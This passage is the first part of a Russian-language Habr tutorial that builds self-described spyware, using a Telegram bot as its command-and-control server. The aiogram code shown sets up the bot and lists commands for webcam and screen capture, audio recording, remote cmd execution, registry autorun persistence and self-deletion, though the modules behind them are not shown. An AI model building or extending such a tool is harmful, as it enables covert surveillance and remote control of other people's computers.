Введение
Hello Habr! Хотел найти приложение, позволяющее отслеживать работу своих компютеров, но испугался что кто-то сможет следить за мной через их. Поэтому решил разработать его сам, изначально ПО было похоже на приложение для родительского контроля, но после добавления новых модулей получилось SpyWare, поэтому оставлю это здесь.
Чат-бот в telegram
Ну что же, чтобы наша программа могла получать и контролировать выполнение задач нам нужен С2 (Command and Control) сервер.
Первоначально я думал написать какой-нибудь интерфейс на Django или Flask для управления ПО и развернуть все это через Xampp, Open Server или еще что-нибудь (способов достаточно), чтобы можно было управлять не только через локальную сеть.
Но для этого нужно было бы постоянно оставлять включенным сервер, можно было бы просто развернуть все это на Raspberry Pi, но зачем нам эти трудности, если можно сделать все проще через telegram, который работает 24/7 и ничего не нужно поднимать. =)
На просторах интернета существуют миллионы гайдов на эту тему (один из них ссылку), поэтому не будем вдаваться в подробности, а быстренько получим уникальный ID, являющийся одновременно и токеном нашего бота от @BotFather и наш ID, чтобы бот мог писать нам при активации, его можно получить либо тут @IDBot либо тут @userinfobot.
Просто заходим и пишем /start
.
Теперь создадим файл tg_config.py
в корне проекта и добавим полученные ранее ID, конечно можно было добавить наши ID в переменные окружения (кто хочет, может так и сделать, вот туториал), но я решил оставить все на поверхности для простоты.
BOT_TOKEN = 'IDfrom@BotFather' # IDfrom@IDBot admin_id = 123456789
Настало время разработки, создаем dispatcher.py
.
import logging from aiogram import Bot, Dispatcher from aiogram.contrib.middlewares.logging import LoggingMiddleware from tg_config import BOT_TOKEN logging.basicConfig(level=logging.INFO) if not BOT_TOKEN: exit("No token provided") bot = Bot(token=BOT_TOKEN, parse_mode="HTML") dp = Dispatcher(bot) dp.middleware.setup(LoggingMiddleware())
Здесь мы делаем проверку на наличие нашего токена, для связи с нашим ботом.
Инициализируем объекты бота и диспетчера и настраиваем логирование, для удобной отладки в процессе разработки.
Теперь handlers.py
который отвечает за все наши обработчики, как понятно из названия.
Он будет обновляться каждый раз, когда мы будем добавлять новый функционал.
import os import asyncio import modules from aiogram import types from tg_config import admin_id from tg.dispatcher import dp from tg.utils import reply_handler from aiogram.utils.exceptions import MessageTextIsEmpty, CantParseEntities async def activate(): await dp.bot.send_message(admin_id, "✔️ Ur system started!") try: loop = asyncio.get_event_loop() loop.run_until_complete(activate()) except DeprecationWarning: pass @dp.message_handler(commands="help") async def support(message: types.Message): await message.answer( f'\nCommand List:\n' f'/check - Checking System Status\n' f'/pc_info - System characteristics\n' f'/con_info - Connection characteristics\n' f'/proc_info - List of running processes\n' f'/wifi_info - Information about Wi-Fi connections\n' f'/pub_ip_info - Information about public IP address\n' f'/screen - Desktop screenshot\n' f'/webcam_screen - Webcam screen\n' f'/audio n - (n - count of seconds)Record sound from voice recorder for 5 seconds by default\n' f'/exec c - (c - command) Execute command in cmd\n' f'/reg_autorun - Append programme to registry\n' f'/del_autorun - Delete programme from registry\n' f'/exit - Shutting down the program before reboot\n' f'/destroy - Delete the program from the computer\n' )
Я решил не заморачиваться и выкладываю сразу часть финального кода хэндлера, чтобы не напоминать добавить вам одну строчку, после добавления нового функционала, да и чтоб самому не забыть. =)
В начале пишем метод activate()
, который будет вызываться при запуске нашего ПО и сигнализировать нам о начале сеанса.
Далее создаем цикл событий и запускаем его, он будет работать до того момента, пока не отработает наш метод activate()
.
Ну и добавляем наш первый хэндлер, который будет выводить список и описание доступных команд.
Ну и в конце создаем main.py
, который будет запускать нашего бота.
from aiogram.utils import executor from tg.dispatcher import dp from tg import handlers if __name__ == "__main__": executor.start_polling(dp, skip_updates=True)
Заключение
В этой части мы разработали нашего бота, который будет помогать нам контролировать и следить за результатами нашего ПО.
Также оставлю ссылку на проект и благодарю за уделенное мне время и не судите строго, я только начинаю учиться писать статьи.
На этом первая часть подходит к концу, а самое интересное еще впереди. =)
ссылка на оригинал статьи https://habr.com/ru/articles/761374/
Добавить комментарий